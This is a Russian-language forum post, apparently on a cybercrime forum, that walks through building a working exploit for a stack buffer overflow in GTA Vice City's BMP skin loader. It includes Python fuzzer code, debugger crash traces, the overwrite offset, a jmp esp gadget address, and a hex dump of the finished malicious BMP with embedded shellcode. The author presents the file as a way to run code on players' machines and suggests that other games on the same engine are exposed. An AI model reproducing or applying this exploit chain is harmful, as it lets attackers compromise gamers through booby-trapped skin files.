• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Эксплуатируем дыру в GTA Vice City

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,179
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Сегодня мы пройдем полный цикл разработки эксплоита: от создания фаззера до успешного запуска шелл‑кода. Под прицелом — парсер файлов BMP, которые игра принимает в качестве пользовательских скинов. Правильно сформированный файл приведет к исполнению произвольного кода, а значит, и возможному заражению игрока вредоносным кодом.

warning​

Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.

Подготовка​

Играть будем с английской лицензионной версией 1.1 с накаченным поверх NoCD. Русская версия ничем принципиально не отличается, за исключением поддержки кириллических шрифтов. Я протестировал эксплоит на обеих версиях, и они оказались совместимы.


MD5​

Код:
gta-vc.exe: 16094566bdaac10c7f9cc10beeac7ae8
gta-vc.exe: 32f157ea394c23ff0a91096226eccbf7
В качестве отладчика я буду использовать Для просмотра ссылки Войди или Зарегистрируйся. Закинь к нему в папку PyCommands скрипт Для просмотра ссылки Войди или Зарегистрируйся, он добавляет новые команды во встроенный интерпретатор Python. Они потребуются для поиска ROP-гаджетов на этапе создания эксплоита.

По умолчанию игра открывается в полноэкранном режиме. Если запустить ее в отладчике и поймать точку останова, мы застрянем на зависшей программе, которая не дает себя нормально свернуть. Насколько я понимаю, игра не поддерживает два экрана, поэтому единственным решением может быть запуск в режиме окна. Нет никакой возможности сделать это через настройку конфигов или ключами запуска. Благо есть утилита D3DWindower 1.88, которая перехватывает функцию Direct3DCreate9, подменяя взаимодействия с интерфейсом IDirect3D9, чтобы включить оконный режим и выставить требуемый размер окна. Советую поставить ее или любой аналог.


Как устроен BMP​

Давай посмотрим, как устроен формат изображений. Сначала идут два заголовка. За ними следует массив линий, каждая из которых состоит из информации о конкретных пикселях.

Код:
struct BMPheader
{
    uint16 magic;
    uint32 size;
    uint16 reserved[2];
    uint32 offset;
};


struct DIBheader
{
    uint32 headerSize;
    int32 width;
    int32 height;
    int16 numPlanes;
    int16 depth;
    uint32 compression;
    uint32 imgSize;
    int32 hres;
    int32 vres;
    int32 paletteLen;
    int32 numImportant;
};


struct Pixel
{
    int8 red;
    int8 green;
    int8 blue;
};


BMPheader head_bmp;
DIBheader head_dib;
Pixel[256][256] lines;

Возьмем скин Batman.bmp как первоначальный образец для фаззера.

BMPheader
    magic        BM
    size         196662
    reserved     0
    offset       54


DIBheader
    headerSize   40
    width        256
    height       256
    numPlanes    1
    depth        24
    compression  0
    imgSize      196608
    hres         0
    vres         0
    paletteLen   0
    numImportant 0


Lines
    Line
        Pixel
            R    57
            G    52
            B    33

Сломать можно только заголовки, любое изменение линий приведет исключительно к смене цветов на картинке.


Пишем фаззер BMP​

Значимых полей не очень много. Заголовки занимают всего 54 байта. Мы легко можем побить их все, уничтожая по одному биту за раз, и получить на выходе 432 файла. Самый простой, но эффективный метод фаззинга — bit flipping, или переворачивание битов. Там, где был ноль, станет единица, там, где была единица, станет ноль.

Мне нравится проверять предположения по очереди, так что за один раз будем бить конкретный бит в каждом байте. Если бить нулевой, то значение увеличится или уменьшится на единицу, если бить седьмой, то на 128. Это крайние значения, проверку стоит начать с них.

Код:
import pwn


def reverse_one_bit(data, bit_index):
    data_int = int.from_bytes(data, 'big', signed=False)
    max_bits = len(data) * 8 - 1
    bit_mask = pow(2, bit_index)


    if bit_mask & data_int:
        data_int -= bit_mask
    else:
        data_int += bit_mask


    return data_int.to_bytes(len(data), 'big', signed=False)


def mutate_file(input_path, headers_end, bit_num):
    input_file = pwn.read(input_path)
    file_head = input_file[:headers_end]
    body_len = len(input_file) - headers_end
    file_body = pwn.cyclic(body_len)


    for i in range(headers_end):
        mutated = reverse_one_bit(file_head[:], i*8 + bit_num)
        out_path = f'output/mutated_{i}_{bit_num}.bmp'
        pwn.write(out_path, mutated + file_body, create_dir=True)


mutate_file('Batman.bmp', 54, 7)
Разберемся, что делает код. Сначала подключаем библиотеку Для просмотра ссылки Войди или Зарегистрируйся. Затем с помощью ее функций читаем образец файла. В заголовке каждого файла повреждается один бит. Тело файла заменяется специальной последовательностью, которую выдает pwn.cyclic. Этот метод генерирует строку типа aaaa baaa caaa daaa eaaa. Каждые 4 байта повторяются в ней лишь однажды. Это гарантирует, что мы всегда сможем визуально определить тело файла в памяти процесса.


Ловим падения​

На прошлом шаге фаззер подарил нам 54 файла. Скопируем их в C:\Games\GTA Vice City\skins и через D3DWindower запустим gta-vc.exe. Теперь присоединим к нему Immunity Debugger. По какой‑то причине игра подвисает, если повторно подключить отладчик к тому же процессу. Так что перезапускай Immunity, если у тебя такая же проблема.

Далее заходим в настройки игры и примеряем новые скины. Довольно быстро получаем падение на файле mutated_24_0.bmp. Числа указывают на смещение изменяемых данных. Биты и байты идут в обратном порядке. То есть в данном случае изменен младший бит в 24-м байте от конца заголовков.

Для просмотра ссылки Войди или Зарегистрируйся
Фаззер сломал поле DIBheader->depth, которое отвечает за глубину цвета, то есть количество битов на один пиксель. Обычно оно не превышает 32, но стало 280, что заметно пугает парсер. Это хороший знак, ошибок будет много.

Код:
; Access violation when writing to [12080712]


00660EA7  |. 8948 0C        MOV DWORD PTR DS:[EAX+C],ECX
00660EAA  |. 8B16           MOV EDX,DWORD PTR DS:[ESI]
00660EAC  |. 8951 0C        MOV DWORD PTR DS:[ECX+C],EDX
00660EAF  |. 8B06           MOV EAX,DWORD PTR DS:[ESI]
00660EB1  |. 8948 08        MOV DWORD PTR DS:[EAX+8],ECX
00660EB4  |. 890E           MOV DWORD PTR DS:[ESI],ECX
00660EB6  |. 56             PUSH ESI
00660EB7  |. 8B06           MOV EAX,DWORD PTR DS:[ESI]
00660EB9  |. 50             PUSH EAX
00660EBA  |. E8 61010000    CALL gta-vc.00661020
Перезапускаем отладчик и ловим падение на mutated_36_0.bmp. В этот раз сломано поле DIBheader->headerSize, новое значение — 16777256. Пока не вижу смысла копаться в деталях падения, сначала соберем все уникальные.

Код:
; Access violation when writing to [001A0000]


0064DC6A  |. F3:A5          REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
0064DC6C  |. 85C0           TEST EAX,EAX
0064DC6E  |. 74 04          JE SHORT gta-vc.0064DC74
0064DC70  |> 89C1           MOV ECX,EAX
0064DC72  |. F3:A4          REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
0064DC74  |> 89D0           MOV EAX,EDX
0064DC76  |. 5F             POP EDI
0064DC77  |. 5E             POP ESI
0064DC78  \. C3             RETN
Остальные файлы дают падение по тем же адресам. Соберем новые файлы с изменением старшего, то есть седьмого бита. И получаем уникальное падение на mutated_28_7.bmp. Теперь поле DIBheader->height приняло отрицательное значение -2147483392. Это интересно! Похоже, парсер не ожидал увидеть картинку с отрицательной высотой.

Код:
; Access violation when reading [00000020]


006647BA   . 8A46 20        MOV AL,BYTE PTR DS:[ESI+20]
006647BD   . 84C0           TEST AL,AL
006647BF   . 75 0B          JNZ SHORT gta-vc.006647CC
006647C1   . 53             PUSH EBX
006647C2   . E8 D9FDFFFF    CALL gta-vc.006645A0
006647C7   . 83C4 04        ADD ESP,4
006647CA   . EB 05          JMP SHORT gta-vc.006647D1
Остальные семерки повторяют известные случаи. Новое уникальное падение происходит на mutated_24_3.bmp. Знакомый нам DIBheader->depth принял значение 2072. Получаем новую ошибку по старому адресу.

Код:
; Access violation when writing to [FF25000C]


00660EA7  |. 8948 0C        MOV DWORD PTR DS:[EAX+C],ECX
00660EAA  |. 8B16           MOV EDX,DWORD PTR DS:[ESI]
00660EAC  |. 8951 0C        MOV DWORD PTR DS:[ECX+C],EDX
Ну и наконец, файл mutated_38_3.bmp дал нечто многообещающее. Тестовый файл затирает поле DIBheader->headerSize, назначая ему число 2088.

; Access violation when reading [C76DB9B3]

6A616177 848F FEFFFFC6 TEST BYTE PTR DS:[EDI+C6FFFFFE],CL
6A61617D 45 INC EBP
6A61617E B7 01 MOV BH,1
6A616180 ^E9 8DFEFFFF JMP nvgpucom.6A616012
Я не поверил своим глазам, когда это увидел: адрес EIP был неслучаен. Взглянув на стек, убеждаемся, что произошло классическое переполнение буфера! Это ровно те паттерны, которые создает pwn.cyclic.

Код:
0019F908   6A616178  xaaj  nvgpucom.6A616178
0019F90C   6A616179  yaaj  nvgpucom.6A616179
0019F910   6B61617A  zaak  nvgpucom.6B61617A
0019F914   6B616162  baak  nvgpucom.6B616162
0019F918   6B616163  caak  nvgpucom.6B616163
Остальные случаи можно отбросить, готовая схема эксплуатации уже найдена. Остается понять, как и почему она работает.


Ищем причину​

Чтобы облегчить себе задачу, я решил заглянуть в исходники проекта Для просмотра ссылки Войди или Зарегистрируйся, авторы которого отреверсили код GTA 3.

Код:
// re3-miami\src\render\PlayerSkin.cpp


RwTexture *
CPlayerSkin::GetSkinTexture(const char *texName)
{
    RwTexture *tex;
    RwRaster *raster;
    int32 width, height, depth, format;


    CTxdStore::PushCurrentTxd();
    CTxdStore::SetCurrentTxd(m_txdSlot);
    tex = RwTextureRead(texName, NULL);
    CTxdStore::PopCurrentTxd();
    if (tex != nil) return tex;


    if (strcmp(DEFAULT_SKIN_NAME, texName) == 0 || texName[0] == '\0')
        sprintf(gString, "models\\generic\\player.bmp");
    else
        sprintf(gString, "skins\\%s.bmp", texName);


    if (RwImage *image = RtBMPImageRead(gString)) {
        RwImageFindRasterFormat(image, rwRASTERTYPETEXTURE, &width, &height, &depth, &format);
        raster = RwRasterCreate(width, height, depth, format);
        RwRasterSetFromImage(raster, image);


        tex = RwTextureCreate(raster);
        RwTextureSetName(tex, texName);
        RwTextureSetFilterMode(tex, rwFILTERLINEAR);
        RwTexDictionaryAddTexture(CTxdStore::GetSlot(m_txdSlot)->texDict, tex);


        RwImageDestroy(image);
    }
    return tex;
}
Код ссылается на процедуру RtBMPImageRead:

Код:
// gta3-decomp\src\fakerw\fake.cpp


RwImage *
RtBMPImageRead(const RwChar *imageName)
{
#ifndef _WIN32
    RwImage *image;
    char *r = casepath(imageName);
    if (r) {
        image = rw::readBMP(r);
        free(r);
    } else {
        image = rw::readBMP(imageName);
    }
    return image;


#else
    return rw::readBMP(imageName);
#endif
}

RtBMPImageRead, в свою очередь, ссылается на readBMP:

// gta3-decomp\vendor\librw\src\bmp.cpp


Image*
readBMP(const char *filename)
{
    ASSERTLITTLE;
    Image *image;
    uint32 length;
    uint8 *data;
    StreamMemory file;
    int i, x, y;


    bool32 noalpha;
    int pad;


    data = getFileContents(filename, &length);
    if(data == nil)
        return nil;
    file.open(data, length);


    /* read headers */
    BMPheader bmp;
    DIBheader dib;
    if(!bmp.read(&file))
        goto lose;
    file.read8(&dib, sizeof(dib));
    file.seek(dib.headerSize-sizeof(dib));  // Skip the part of the header we’re ignoring
    if(dib.headerSize <= 16){
        dib.compression = 0;
        dib.paletteLen = 0;
    }

Реверс не повторяет оригинал дословно. Я немного покопался в отладчике с первыми падениями и знаю, что парсинг идет постранично, без полного чтения файла в буфер. Но этот код навел меня на верную мысль. По всей видимости, оригинальный код так же читает структуру DIBheader на стек, но вместо sizeof(dib) использует DIBheader->headerSize. Достаточно указать headerSize больше изначального, но меньше, чем размер файла BMP, и его тело успешно перезапишет адрес возврата на стеке. Ошибка найдена.


Собираем эксплоит​

Адрес падения не обязательно должен совпадать с перезаписанным адресом возврата. Чтобы узнать его наверняка, используем трассировку. Для этого надо найти удачную точку входа. Для начала я поставил брейк‑пойнт на функцию CreateFileA и дождался открытия целевого файла. Далее идет цикл из ReadFile и закрытие файла на CloseHandle. Поймав последний через точку останова, запускаем трассировку:

Код:
00672A09    Main    TEST EAX,EAX
00672A0B    Main    JE SHORT gta-vc.00672A30
00672A0D    Main    MOV EAX,DWORD PTR DS:[EBX*4+7F9F70] EAX=00BC1F78
00672A14    Main    PUSH EAX    ESP=0019F448
00672A15    Main    CALL gta-vc.006618F0    ESP=0019F444


(...)


00657D50    Main    POP EDI ESP=0019F4A0, EDI=006DB9B5
00657D51    Main    POP ESI ESP=0019F4A4, ESI=0094AE7D
00657D52    Main    POP EBP ESP=0019F4A8, EBP=0094AE7C
00657D53    Main    POP EBX EBX=00000000, ESP=0019F4AC
00657D54    Main    ADD ESP,458 ESP=0019F904
00657D5A    Main    RETN    ESP=0019F908
6A616177    Main    TEST BYTE PTR DS:[EDI+C6FFFFFE],CL
Действительно, адрес перехода соответствует 6A616177, или строчке jaaw. Найдем ее адрес в файле:

Код:
>>> pwn.cyclic_find(0x6A616177)
988
>>> 988 + 54
1042
Заглянув в редактор, видим по смещению 1042 строку waaj. Все в порядке, адреса на стеке записываются в обратном порядке байтов. Осталось найти адрес команды JMP ESP и вставить шелл‑код.

Нам попался файл с выключенным DEP, то есть с исполнимым стеком. Поэтому мы идем по простому пути, передавая управление сразу на стек. В противном случае нам пришлось бы составлять цепочку из ROP-гаджетов — частей оригинального кода, заканчивающихся опкодом ret или jmp. Если в атакуемом файле достаточно кода, то в нем можно найти гаджеты на все случаи жизни и собрать из них загрузочный шелл‑код, передающий управление на полезную нагрузку.

Помнишь скрипт mona.py, который я советовал скачать и положить в папку Immunity Debugger? Самое время им воспользоваться.

!mona config -set workingfolder C:\Users\admin\Desktop\VICE
В консоли Immunity выставляем рабочую папку, в которую mona будет писать отчеты.

!mona jmp –r esp
Поищем в главном модуле нужные ROP-гаджеты. В указанной выше папке появляется jmp.txt со списком найденных.

Код:
0x006231dd : jmp esp | startnull {PAGE_EXECUTE_READ} [gta-vc.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Games\VC_EN\gta-vc.exe), 0x0
0x0048f547 : push esp # ret  | startnull {PAGE_EXECUTE_READ} [gta-vc.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Games\VC_EN\gta-vc.exe), 0x0
0x005b1a5b : push esp # ret  | startnull,asciiprint,ascii {PAGE_EXECUTE_READ} [gta-vc.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Games\VC_EN\gta-vc.exe), 0x0
0x005b1ae7 : push esp # ret  | startnull {PAGE_EXECUTE_READ} [gta-vc.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Games\VC_EN\gta-vc.exe), 0x0
По адресу 0x006231dd есть удобный jmp esp. Теперь подготовим Для просмотра ссылки Войди или Зарегистрируйся.

Код:
0400  61 6A 73 61 61 6A 74 61 61 6A 75 61 61 6A 76 61  ajsaajtaajuaajva
0410  61 6A DD 31 62 00 31 D2 B2 30 64 8B 12 8B 52 0C  ajÝ1b.1Ò²0d‹.‹R.
0420  8B 52 1C 8B 42 08 8B 72 20 8B 12 80 7E 0C 33 75  ‹R.‹B.‹r ‹.€~.3u
0430  F2 89 C7 03 78 3C 8B 57 78 01 C2 8B 7A 20 01 C7  ò‰Ç.x<‹Wx.‹z .Ç
0440  31 ED 8B 34 AF 01 C6 45 81 3E 46 61 74 61 75 F2  1í‹4¯.ÆE.>Fatauò
0450  81 7E 08 45 78 69 74 75 E9 8B 7A 24 01 C7 66 8B  .~.Exitué‹z$.Çf‹
0460  2C 6F 8B 7A 1C 01 C7 8B 7C AF FC 01 C7 68 75 20  ,o‹z..Ç‹|¯ü.Çhu
0470  20 01 68 65 70 2E 72 68 20 58 61 6B 89 E1 FE 49   .hep.rh Xak‰áþI
0480  0B 31 C0 51 50 FF D7 61 61 6C 63 61 61 6C 64 61  .1ÀQPÿ×aalcaalda
0490  61 6C 65 61 61 6C 66 61 61 6C 67 61 61 6C 68 61  aleaalfaalgaalha
Так выглядит финальный результат. Адрес DD316200 в обратном порядке, а за ним — тело шелл‑кода.

Для просмотра ссылки Войди или Зарегистрируйся

Выводы​

Слепой фаззинг без учета типов и длины полей дал результат. В следующий раз стоит попробовать более плавный ход и увеличивать значения кратно. А зная формат, можно использовать типичные константы вместо перебора.

Но интереснее всего то, что мы нашли ошибку в процедуре readBMP, которая взята из Для просмотра ссылки Войди или Зарегистрируйся. А значит, можно будет создать эксплоит для всех игр, сделанных на этом движке!
 
Activity
So far there's no one here